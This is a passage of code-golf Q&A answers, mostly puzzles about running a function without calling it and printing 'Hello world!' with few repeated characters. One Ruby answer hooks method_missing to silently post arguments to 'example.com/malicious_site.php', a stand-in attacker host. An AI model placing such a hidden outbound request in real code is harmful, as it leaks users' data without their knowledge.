+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+ ([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[] ]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[]) [!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[] [[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[ !+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]] ])[+!+[]+[+[]]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([![]]+[][[]])[+ !+[]+[+[]]]+([][[]]+[])[+!+[]]+(+![]+[![]]+([]+[])[([][(![]+[])[ +[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+ []]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+ []]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[ !+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+! +[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+ (!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[ ]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[] ]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[] ]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[ ]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]] +(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+ []]]](!+[]+!+[]+!+[]+[!+[]+!+[]+!+[]+!+[]])[+!+[]]+(![]+[][(![]+ [])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[ ])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[ +[]]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[] )[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[ +!+[]]])[!+[]+!+[]+[+[]]])() ``` [Answer] ## Python ``` import sys def the_function(*void): print 'Hi there!' sys.setprofile(the_function) ``` This sets `the_function` as the profiling function, causing it to be executed on each function call and return. ``` >>> sys.setprofile(the_function) Hi there! >>> print 'Hello there!' Hi there! Hi there! Hi there! Hi there! Hi there! Hello there! Hi there! ``` [Answer] # C# We can abuse the DLR to always execute some code whenever you try to call *any* method on a class. This is slightly less cheap/obvious than solutions like delegates, reflections, static constructors, etc., because the method being executed is not only never *invoked* but never even *referenced*, not even by its name. ``` void Main() { dynamic a = new A(); a.What(); } class A : DynamicObject { public override bool TryInvokeMember(InvokeMemberBinder binder, Object[] args, out Object result) { Console.WriteLine("Ha! Tricked you!"); result = null; return true; } } ``` This always prints "Ha! Tricked you!" no matter *what* you try to invoke on `a`. So I could just as easily write `a.SuperCaliFragilisticExpiAlidocious()` and it would do the same thing. [Answer] # GNU C ``` #include <stdio.h> #include <stdlib.h> void hello_world() { puts(__func__); exit(0); } int main() { goto *&hello_world; } ``` This is very direct, but is certainly not a *call* to `hello_world`, even though the function does execute. [Answer] # Ruby Inspired by [wat](https://www.destroyallsoftware.com/talks/wat). ``` require 'net/http' def method_missing(*args) # some odd code http.request_post ("http://example.com/malicious_site.php", args.join " ") args.join " " end ruby has bare words # => "ruby has bare words" ``` [Answer] ## C You can register a function to be called at the end of the program in C, if that fits your needs: ``` #include <stdio.h> #include <stdlib.h> void the_function() { puts("How did I get here?"); } int main() { atexit(&the_function); } ``` [Answer] ## Java Tried this with java: ``` import java.io.PrintStream; import java.lang.reflect.Method; public class CallWithoutCalling { public static class StrangeException extends RuntimeException { @Override public void printStackTrace(PrintStream s) { for (Method m : CallWithoutCalling.class.getMethods()) { if ("main".equals(m.getName())) continue; try { m.invoke(null); } catch (Exception e) { e.printStackTrace(); } } } } public static void secretMethodNotCalledInMain() { System.out.println("Congratulations, you won a million dollars!"); } public static void main(String[] args) { throw new StrangeException(); } } ``` The method `secretMethodNotCalledInMain` is called only by reflection, and I am not searching for anything called `secretMethodNotCalledInMain` (instead I am searching for anything not called `main`). Further, the reflective part of code is called outside the `main` method when the JDK's uncaught exception handler kicks in. Here is my JVM info: ``` C:\>java -version java version "1.8.0-ea" Java(TM) SE Runtime Environment (build 1.8.0-ea-b109) Java HotSpot(TM) 64-Bit Server VM (build 25.0-b51, mixed mode) ``` Here is the output of my program: ``` Congratulations, you won a million dollars! Exception in thread "main" java.lang.NullPointerException at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method) at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:57) at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:57) at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43) at java.lang.reflect.Method.invoke(Method.java:491) at CallWithoutCalling$StrangeException.printStackTrace(CallWithoutCalling.java:12) at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1061) at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1052) at java.lang.Thread.dispatchUncaughtException(Thread.java:1931) java.lang.NullPointerException at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method) at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:57) at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43) at java.lang.reflect.Method.invoke(Method.java:491) at CallWithoutCalling$StrangeException.printStackTrace(CallWithoutCalling.java:12) at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1061) at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1052) at java.lang.Thread.dispatchUncaughtException(Thread.java:1931) java.lang.NullPointerException at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method) at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:57) at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43) at java.lang.reflect.Method.invoke(Method.java:491) at CallWithoutCalling$StrangeException.printStackTrace(CallWithoutCalling.java:12) at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1061) at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1052) at java.lang.Thread.dispatchUncaughtException(Thread.java:1931) java.lang.NullPointerException at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method) at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:57) at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43) at java.lang.reflect.Method.invoke(Method.java:491) at CallWithoutCalling$StrangeException.printStackTrace(CallWithoutCalling.java:12) at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1061) at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1052) at java.lang.Thread.dispatchUncaughtException(Thread.java:1931) java.lang.NullPointerException at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method) at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:57) at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43) at java.lang.reflect.Method.invoke(Method.java:491) at CallWithoutCalling$StrangeException.printStackTrace(CallWithoutCalling.java:12) at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1061) at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1052) at java.lang.Thread.dispatchUncaughtException(Thread.java:1931) java.lang.NullPointerException at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method) at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:57) at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43) at java.lang.reflect.Method.invoke(Method.java:491) at CallWithoutCalling$StrangeException.printStackTrace(CallWithoutCalling.java:12) at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1061) at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1052) at java.lang.Thread.dispatchUncaughtException(Thread.java:1931) java.lang.NullPointerException at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method) at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:57) at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43) at java.lang.reflect.Method.invoke(Method.java:491) at CallWithoutCalling$StrangeException.printStackTrace(CallWithoutCalling.java:12) at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1061) at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1052) at java.lang.Thread.dispatchUncaughtException(Thread.java:1931) java.lang.NullPointerException at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method) at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:57) at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43) at java.lang.reflect.Method.invoke(Method.java:491) at CallWithoutCalling$StrangeException.printStackTrace(CallWithoutCalling.java:12) at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1061) at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1052) at java.lang.Thread.dispatchUncaughtException(Thread.java:1931) java.lang.NullPointerException at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method) at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:57) at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43) at java.lang.reflect.Method.invoke(Method.java:491) at CallWithoutCalling$StrangeException.printStackTrace(CallWithoutCalling.java:12) at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1061) at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1052) at java.lang.Thread.dispatchUncaughtException(Thread.java:1931) Java Result: 1 ``` I was not expecting those `NullPointerException`s being thrown from the native code to handle reflection. But, as mentioned by @johnchen902 that is because it inherits some methods from `java.lang.Object` and I ended up calling them on `null`s. [Answer] ## C++ One way in C++ is in the constructor and/or destructor of a static object: ``` struct foo { foo() { printf("function called"); } ~foo() { printf("Another call"); } }f; int main() { } ``` [Answer] ## C: Hello World ``` #include <stdio.h> void donotuse(){ printf("How to use printf without actually calling it?\n"); } int main(){ (*main-276)("Hello World\n"); } ``` Output: ``` Hello World! ``` In order to link the method, we need printf() to be compiled somewhere in the program, but it does not have to actually be called. The printf() and main() functions are located 276 bytes apart from each other in the code segment. This value will change based on OS and compiler. You can find the actual addresses on your system with this code and then just subtract them: ``` printf("%d %d\n", &printf, &main); ``` [Answer] ### C (with GCC inline asm) ``` #include <stdio.h> #include <stdlib.h> /* prevent GCC optimising it away */ void the_function(void) __attribute__((__noreturn__, __used__)); int main(void) { asm volatile (".section fnord"); return (1); } void the_function(void) { asm volatile (".text"); printf("Hi there!\n"); exit(0); } ``` This will cause some GCC-emitted code to end up in a different segment of the object file, effectively making control flow “fall through” the\_function. Note that this does not work if GCC decides to reorder the functions, obviously. Tested with GCC 3.4.6 on MirBSD-current/i386, using `-O2`. (Also, it breaks debugging, compiling with `-g` errors out ☺) [Answer] ## PHP ≥5.4.0 This solution is admittedly a horrid mess, but it performs the task given to it (there was no stipulation how *well* it has to perform). **The function to call without calling**: ``` function getRandomString( $len = 5 ) { $chars = "qwertyuiopasdfghjklzxcvbnm1234567890QWERTYUIOPASDFGHJKLZXCVBNM1234567890"; $string = ""; for( $i = 0; $i < $len; ++$i ) { $idx = mt_rand( 0, strlen( $chars ) - 1 ); $string .= $chars[$idx]; } return $string; } ``` **The solution**: ``` function executeFunction( $name, $args = [ ] ) { global $argv; $code = file_get_contents( $argv[0] ); $matches = []; $funcArgs = ""; $funcBody = ""; if( preg_match( "~function(?:.*?){$name}(?:.*?)\(~i", $code, $matches ) ) { $idx = strpos( $code, $matches[0] ) + strlen( substr( $matches[0], 0 ) ); $parenNestLevel = 1; $len = strlen( $code ); while( $idx < $len and $parenNestLevel > 0 ) { $char = $code[$idx]; if( $char == "(" ) ++$parenNestLevel; elseif( $char == ")" ) { if( $parenNestLevel == 1 ) break; else --$parenNestLevel; } ++$idx; $funcArgs .= $char; } $idx = strpos( $code, "{", $idx ) + 1; $curlyNestLevel = 1; while( $idx < $len and $curlyNestLevel > 0 ) { $char = $code[$idx]; if( $char == "{" ) ++$curlyNestLevel; elseif( $char == "}" ) { if( $curlyNestLevel == 1 ) break; else --$curlyNestLevel; } ++$idx; $funcBody .= $char; } } else return; while( preg_match( "@(?:(\\$[A-Z_][A-Z0-9_]*)[\r\n\s\t\v]*,)@i", $funcArgs, $matches ) ) { var_dump( $matches ); $funcArgs = str_replace( $matches[0], "global " . $matches[1] . ";", $funcArgs ); } $funcArgs .= ";"; $code = $funcArgs; foreach( $args as $k => $v ) $code .= sprintf( "\$%s = \"%s\";", $k, addslashes( $v ) ); $code .= $funcBody; return eval( $code ); } ``` **Example**: ``` //Call getRandomString() with default arguments. $str = executeFunction( "getRandomString" ); print( $str . PHP_EOL ); //You can also pass your own arguments in. $args = [ "len" => 25 ]; //The array key must be the name of one of the arguments as it appears in the function declaration. $str = executeFunction( "getRandomString", $args ); print( $str . PHP_EOL ); ``` **Possible outputs:** ``` 6Dz2r X7J0p8KVeiaDzm8BInYqkeXB9 ``` **Explanation**: When called, `executeFunction()` will read the contents of the currently executing file (which means this is only meant to be run from CLI, as it uses `$argv`), parse out the arguments and body of the specified function, hack everything back together into a new chunk of code, `eval()` it all, and return the result. The result being that `getRandomString()` is never actually called, either directly or indirectly, but the code in the function body is still executed. [Answer] # Perl ``` sub INIT { print "Nothing to see here...\n"; } ``` Yes, that's all there is to it. [Not all subroutines are created equal.](http://perldoc.perl.org/perlmod.html#BEGIN%2c-UNITCHECK%2c-CHECK%2c-INIT-and-END) [Answer] ## T-SQL It's a built in feature. Triggers for the win! If you really want to have fun with it, create a bunch of INSTEAD OF triggers on April Fool's Day. ``` CREATE TABLE hw( Greeting VARCHAR(MAX) ); CREATE TRIGGER TR_I_hw ON hw INSTEAD OF INSERT AS BEGIN INSERT hw VALUES ('Hello, Code Golf!') END; INSERT hw VALUES ('Hello, World!'); SELECT * FROM hw ``` Results: ``` | GREETING | |-------------------| | Hello, Code Golf! | ``` Very prank. Such lulz. Wow. Tinker wid it on [SQLFiddle.](http://sqlfiddle.com/#!6/2d791/1) [Answer] ## JavaScript In Firefox console: ``` this.toString = function(){alert('Wow')}; ``` Then just start typing anything in console - Firefox calls `.toString()` multiple times when you're typing in console. Similar approach is: ``` window.toString = function(){alert('Wow'); return 'xyz'; }; "" + window; ``` [Answer] # C Platform of choice is Linux. We can't call our function, so we'll have our linker do it instead: ``` #include <stdlib.h> #include <stdio.h> #define ADDRESS 0x00000000600720 // ¡magic! void hello() { printf("hello world\n"); } int main(int argc, char *argv[]) { *((unsigned long *) ADDRESS) = (unsigned long) hello; } ``` ### How to obtain the magic address? We're relying on the Linux Standard Base Core Specification, which says: > > .fini\_array > > > This section holds an array of function pointers that > contributes to a single termination array for the executable or shared > object containing the section. > > > 1. Compile the code: `gcc but_for_what_reason_exactly.c -o but_for_what_reason_exactly` 2. Examine the address of `.fini_array`: `objdump -h -j .fini_array but_for_what_reason_exactly` 3. Find the VMA of it: ``` but_for_what_reason_exactly: file format elf64-x86-64 Sections: Idx Name Size VMA LMA File off Algn 18 .fini_array 00000008 0000000000600720 0000000000600720 00000720 2**3 CONTENTS, ALLOC, LOAD, DATA ``` and replace that value for `ADDRESS`. [Answer] ## **VB6 and VBA** Not sure if this qualifies or not, because it is calling a method of a class: This goes in a class module: ``` Public Sub TheFunction() MsgBox ("WTF?") End Sub Public Sub SomeOtherFunction() MsgBox ("Expecting this.") End Sub ``` And this is the "calling" code: ``` Private Declare Sub CopyMemory Lib "kernel32.dll" Alias "RtlMoveMemory" (hpvDest As Any, hpvSource As Any, ByVal cbCopy As Long) Sub Demo() Dim a As Long, b as Long Dim example As New Class1 CopyMemory a, ByVal ObjPtr(example), 4 CopyMemory b, ByVal a + &H1C, 4 CopyMemory ByVal a + &H1C, ByVal a + &H1C + 4, 4 CopyMemory ByVal a + &H1C + 4, b, 4 Call example.SomeOtherFunction End Sub ``` This works by swapping the function vptr's for the two Subs in the vtable for the class. [Answer] ## Haskell In haskell if you do: ``` main=putStrLn "This is the main action." ``` It will get executed immediately without calling its name when you run it. Magic! [Answer] ## Javascript Easy, just use `on___` events in JS. For example: ``` var img = document.createElement('img') img.onload = func img.src = 'http://placehold.it/100' ``` [Answer] # Java Other java answer from me. As you see in the code, it directly calls `theCalledMethod`, but the method `notCalledMethod` is executed instead. So, in the end I am doing 2 things: * Calling a method without calling it. * Not calling a method by calling it. ``` import java.io.BufferedInputStream; import java.io.BufferedOutputStream; import java.io.ByteArrayOutputStream; import java.io.File; import java.io.FileInputStream; import java.io.FileOutputStream; import java.io.IOException; import java.io.InputStream; import java.io.OutputStream; public class ClassRewriting { public static void main(String[] args) throws IOException { patchClass(); OtherClass.theCalledMethod(); } private static void patchClass() throws IOException { File f = new File("OtherClass.class"); ByteArrayOutputStream baos = new ByteArrayOutputStream(); try (InputStream is = new BufferedInputStream(new FileInputStream(f))) { int c; while ((c = is.read()) != -1) baos.write(c); } String s = baos.toString() .replace("theCalledMethod", "myUselessMethod") .replace("notCalledMethod", "theCalledMethod"); try (OutputStream os = new BufferedOutputStream(new FileOutputStream(f))) { for (byte b : s.getBytes()) os.write(b); } } } class OtherClass { public static void theCalledMethod() { System.out.println("Hi, this is the called method."); } public static void notCalledMethod() { System.out.println("This method is not called anywhere, you should never see this."); } } ``` Running it: ``` > javac ClassRewriting.java > java ClassRewriting This method is not called anywhere, you should never see this. > ``` [Answer] # Python ``` class Snake: @property def sneak(self): print("Hey, what's this box doing here!") return True solid = Snake() if hasattr(solid, 'sneak'): print('Solid Snake can sneak') ``` [Answer] # Java Yay, garbage collection! ``` public class CrazyDriver { private static class CrazyObject { public CrazyObject() { System.out.println("Woo! Constructor!"); } private void indirectMethod() { System.out.println("I win!"); } @Override public void finalize() { indirectMethod(); } } public static void main(String[] args) { randomMethod(); System.gc(); } private static void randomMethod() { CrazyObject wut = new CrazyObject(); } } ``` --- A version for those who will inevitably say that `System.gc()` is unreliable: ``` public class UselessDriver { private static class UselessObject { public UselessObject() { System.out.println("Woo! Constructor!"); } public void theWinningMethod() { System.out.println("I win!"); } @Override public void finalize() { theWinningMethod(); } } public static void main(String[] args) { randomMethod(); System.gc(); fillTheJVM(); } private static void randomMethod() { UselessObject wut = new UselessObject(); } private static void fillTheJVM() { try { List<Object> jvmFiller = new ArrayList<Object>(); while(true) { jvmFiller.add(new Object()); } } catch(OutOfMemoryError oome) { System.gc(); } } } ``` [Answer] ## Objective-C (Probably only if compiled with clang on Mac OS X) ``` #import <Foundation/Foundation.h> #import <objc/runtime.h> void unusedFunction(void) { printf("huh?\n"); exit(0); } int main() { NSString *string; string = (__bridge id)(void*)0x2A27; // Is this really valid? NSLog(@"%@", [string stringByAppendingString:@"foo"]); return 0; } @interface MyClass : NSObject @end @implementation MyClass + (void)load { Class newClass = objc_allocateClassPair([NSValue class], "MyClass2", 0); IMP imp = class_getMethodImplementation(self, @selector(unusedMethod)); class_addMethod(object_getClass(newClass), _cmd, imp, ""); objc_registerClassPair(newClass); [newClass load]; } - (void)unusedMethod { Class class = [self superclass]; IMP imp = (IMP)unusedFunction; class_addMethod(class, @selector(doesNotRecognizeSelector:), imp, ""); } @end ``` This code uses several tricks to get to the unused function. First is the value 0x2A27. This is a [tagged pointer](http://objectivistc.tumblr.com/post/7872364181/tagged-pointers-and-fast-pathed-cfnumber-integers-in) for the integer 42, which encodes the value in the pointer to avoid allocating an object. Next is `MyClass`. It is never used, but the runtime calls the `+load` method when it is loaded, before `main`. This dynamically creates and registers a new class, using `NSValue` as its superclass. It also adds a `+load` method for that class, using `MyClass`'s `-unusedMethod` as the implementation. After registration, it calls the load method on the new class (for some reason it isn't called automatically). Since the new class's load method uses the same implementation as `unusedMethod`, that is effectively called. It takes the superclass of itself, and adds `unusedFunction` as an implementation for that class's `doesNotRecognizeSelector:` method. This method was originally an instance method on `MyClass`, but is being called as a class method on the new class, so `self` is the new class object. Therefore, the superclass is `NSValue`, which is also the superclass for `NSNumber`. Finally, `main` runs. It takes the pointer value and sticks it in a `NSString *` variable (the `__bridge` and first cast to `void *` allow this to be used with or without ARC). Then, it tries to call `stringByAppendingString:` on that variable. Since it is actually a number, which does not implement that method, the `doesNotRecognizeSelector:` method is called instead, which travels up through the class hierarchy to `NSValue` where it is implemented using `unusedFunction`. --- Note: the incompatibility with other systems is due to the tagged pointer usage, which I do not believe has been implemented by other implementations. If this were replaced with a normally created number the rest of the code should work fine. [Answer] # Javascript I feel like this doesn't explicitly look like it is calling the function ``` window["false"] = function() { alert("Hello world"); } window[![]](); ``` [Answer] # C# (via `using`) ``` using System; namespace P { class Program : IDisposable { static void Main(string[] args) { using (new Program()) ; } public void Dispose() { Console.Write("I was called without calling me!"); } } } ``` [Answer] ## Java ``` package stuff; import java.io.ByteArrayInputStream; import java.io.IOException; import java.io.ObjectInputStream; import java.io.Serializable; public class SerialCall { static class Obj implements Serializable { private void readObject(java.io.ObjectInputStream in) throws IOException, ClassNotFoundException { System.out.println("Magic!"); } } private static final byte[] data = { -84, -19, 0, 5, 115, 114, 0, 20, 115, 116, 117, 102, 102, 46, 83, 101, 114, 105, 97, 108, 67, 97, 108, 108, 36, 79, 98, 106, 126, -35, -23, -68, 115, -91, -19, -120, 2, 0, 0, 120, 112 }; public static void main(String[] args) throws Exception { // ByteArrayOutputStream baos = new ByteArrayOutputStream(); // ObjectOutputStream out = new ObjectOutputStream(baos); // out.writeObject(new Obj()); // System.out.println(Arrays.toString(baos.toByteArray())); ObjectInputStream in = new ObjectInputStream(new ByteArrayInputStream(data)); in.readObject(); } } ``` I'm taking advantage of a special feature of Java serialization. The `readObject` method is invoked when an object is deserialized, but it's not directly called - not by my code, nor by the deserialization library. If you dig deep into the source, you'll see that at a low level the method is internally called via reflection. [Answer] # Perl This is so easy. The code below automatically runs code in subroutine, even without explicit call. ``` sub call_me_plz { BEGIN { print "Hello, world!\n"; } } # call_me_plz(); # don't call the method ``` Even if you uncomment the call, it will still be called just once. ]
[Question] [ In a language of your choice, write a program that *exactly* outputs the characters `Hello world!` followed by a newline. The code: * should not use any character more than twice (alphanumeric, symbol, whitespace...anything) * should not use any external resources * should not use any user input * should not output anything else An example of a valid python program: ``` print("He%so world!"%(2*'l')) ``` An example of an invalid python program (the character 'r' is used three times): ``` print("Hel"+chr(108)+'o world!') ``` Winner is whoever has the most votes after 14 days. EDIT: A winner has been chosen! Thanks all for your work on this question! [Answer] # Ruby (1.9+) Since this is a popularity contest let's try to not use ANY of the characters from 'Hello world!' while still using other characters only a maximum of two times: ``` puts("S\107VsbG8gV29ybGQhCg".unpack(?m)) ``` It's 40 chars btw. # Bash And this one uses unicode magic. Notes: * While the orignal characters appear elsewhere (unlike the ruby example), the printed string contains only non-ascii characters. * Two from the three spaces are actually tabs, so there are no utf-8 characters that appear more than 2 times * As binary some of the octets do appear more than 2 times, hopefully that's not against the rules. I'm trying to resolve them though. Code: ``` echo '𝓗𝐞𝑙𝒍𝓸 𝓦𝗈𝖗𝖑𝘥¡'|iconv -t asCIi//TRANSLIT ``` For those who don't have a proper font installed it looks like this: ![code as image](https://i.stack.imgur.com/Mnk27.png) Here is the hexdump: ``` 00000000 65 63 68 6f 20 27 f0 9d 93 97 f0 9d 90 9e f0 9d |echo '..........| 00000010 91 99 f0 9d 92 8d f0 9d 93 b8 e2 80 8a f0 9d 93 |................| 00000020 a6 f0 9d 97 88 f0 9d 96 97 f0 9d 96 91 f0 9d 98 |................| 00000030 a5 c2 a1 27 7c 69 63 6f 6e 76 09 2d 74 09 61 73 |...'|iconv.-t.as| 00000040 43 49 69 2f 2f 54 52 41 4e 53 4c 49 54 0a |CIi//TRANSLIT.| 0000004e ``` You have to run it on a machine where the default charset is utf-8. I tried on an OSX10.8 using iTerm2 with the following environment: ![bash running in iTerm2](https://i.stack.imgur.com/2yfGI.png) # PHP 5.4 This uses zLib: (unfortunately it does uses the characters `e` and `o`) ``` <?=gzuncompress('x▒▒H▒▒▒W(▒/▒IQ▒!qh'); ``` Hexdump: ``` 00000000 3c 3f 3d 67 7a 75 6e 63 6f 6d 70 72 65 73 73 28 |<?=gzuncompress(| 00000010 27 78 9c f3 48 cd c9 c9 57 28 cf 2f ca 49 51 e4 |'x..H...W(./.IQ.| 00000020 02 00 21 71 04 68 27 29 3b |..!q.h');| 00000029 ``` # +1 Here is the ruby 2.0 code I used to test for duplicates: ``` d=ARGF.read p [d.split(//),d.unpack('C*')].map{|x|x.inject(Hash.new(0)){|i,s|i[s]+=1;i}.select{|k,v|v>2}} ``` [Answer] You have to use more expressive languages. # Chinese,  6  4   3 chars ``` 喂世! ``` Running google translate on this produces `Hello world!` (thanks @sreservoir and @Quincunx for the update) [Answer] ## HQ9+, 1 char ``` H ``` keeping it simple :) [Answer] # Vim command (18 keystrokes) `iHe``Esc``3al``Esc``io Wor``Right``d!``Enter` Doesn't repeat any keystroke more than twice. It *kinda* violates the "user input" rule since it's still the user that needs to input that sequence, but I suppose if you store it as a macro or an nnoremap beforehand it would count, since you're just running it without explicitly doing any input to make it happen. It also requires `nocompatible` to be set, which may count as using external resources, so I have provided another variation below: --- # Vim command (21 keystrokes) `iHe``Esc``3al``Esc``io Wor``Ctrl+[``$ad!``Enter` This variation doesn't require `nocompatible` to be set, although it does work around using `Esc` three times by using `Ctrl+[` in its place. [Answer] ## C, 192 chars ``` # # /*$$@``*/ATION_[]={9.};main(BBCDDEEFFGGHJJKKLLMMPPQQRRSSUUVVWWXXYYZZabbdefgghhjjkkmpqqsstuuvvwxyyzz) {printf("He%clo \ world!%c\ ",2^7&!8.&~1|~-1?4|5?0x6C:48:6<3>2>=3<++ATION_[0],'@'^79-5);} ``` Since this isn't golf, I decided to have some fun and try to use every character *exactly* twice (while putting as few as possible in a comment, because that's boring). I realise that I didn't do terribly well, since my code contains a ton of boring "dead" code too (not in the literal sense, but in the sense of placeholder characters just used in order to fullfil the requirement). Anyway, this was surprisingly hard (but fun) with the two-character limitation, so unfortunately I couldn't come up with anything more interesting. It did give me an idea for a new problem though... (Updated per @ugoren's comment.) [Answer] # Piet-- No characters whatsoever! ![Hello world in Piet](https://i.stack.imgur.com/Q5kOi.png) [Answer] **Perl, 29 characters** This answer includes x-rated clogs! ``` say"07-8*d<#B+>!"^xRATEDkL0GZ ``` **Perl, 23 characters** Shorter, but no porno shoes. :-( Same basic idea though... ``` say'0@@lo World!'^"x%," ``` **Perl, 20 characters** Boring... ``` say"Hello Wor\x6Cd!" ``` [Answer] ## Powershell, 20 ``` "He$('l'*2)o world!" ``` [Answer] # [Sclipting](http://esolangs.org/wiki/Sclipting), 11 characters ``` 丟낆녬닆묬긅덯댦롤긐뤊 ``` I saw this beautiful HelloWorld program on [esolang's Hello World program list](http://esolangs.org/wiki/Hello_world_program_in_esoteric_languages#Sclipting). [Answer] # Scala: *34* 29 characters I'm proud of myself for this one: ``` printf("He%c%co world!\n",108,108) ``` Had a really hard time overcoming duplicate 'l's, 'r's, quotation marks and brackets. Then I discovered the old Java `printf` function, which will happily convert numbers to letters when given the `%c` format specifier. ### Update *MrWonderful* did a wonderful thing by pointing out that a whole bunch of characters can be saved by using up my second 'l' manually in the string! ``` printf("Hel%co world!\n",108) ``` [Answer] ## Python 3 [38 bytes] ``` exec('import '+chr(95)*2+"h\x65llo__") ``` I wouldn't consider `import __hello__` as an external resource. [Answer] # Perl: 34 characters ``` $_="He12o wor3d! ";s{\d}{l}g;print ``` Sample run: ``` bash-4.1# perl -e '$_="He12o wor3d! > ";s{\d}{l}g;print' Hello world! ``` (Not a big deal. Posted just to use at least once in my life `s///` with those fancy delimiters.) [Answer] # PHP, 33 chars I just love how much PHP is forgiving and understanding! ``` <?=Hel.str_rot13("yb jbe").'ld!'; ``` Before it was deleted (or if it's still there, I'm totally blind), I saw a comment saying "No brainf\*ck? :D". Well, it is pretty much impossible to write a solution in BrainF\*ck, as you know. But I managed to code this, just for the lulz. ``` ++++++++++[>++++>+++++>++++++>+++++++>++++++++++>+++++++++++>+++++++++<<<<<<<-] >>>.+++.--.>++.>+.+++++++.<<<<++++++.>>>>>+++++.+.--.>+++++.<.---.+++++.<<<<-.+ +.<------.------.>>>>>+++++.<----------.<<<<--.>>>>++++++++.--------.+++. <<<<++.+++++++.+++++.-------.>>>>+++++++.--------.<<<<------.++++++.>++++++++. ``` If you don't have a BF interpreter, the code above just prints the PHP one :P [Answer] # [HTML Fiddle](http://jsfiddle.net/briguy37/q45Ee/) - 21 characters ``` Hel&#108;o World!<br> ``` [Answer] # Ruby: 27 characters ``` puts [:Hel,'o wor',"d!"]*?l ``` Sample run: ``` bash-4.1# ruby <<ENDOFSCRIPT > puts [:Hel,'o wor',"d!"]*?l > ENDOFSCRIPT Hello world! ``` # Ruby: 25 characters 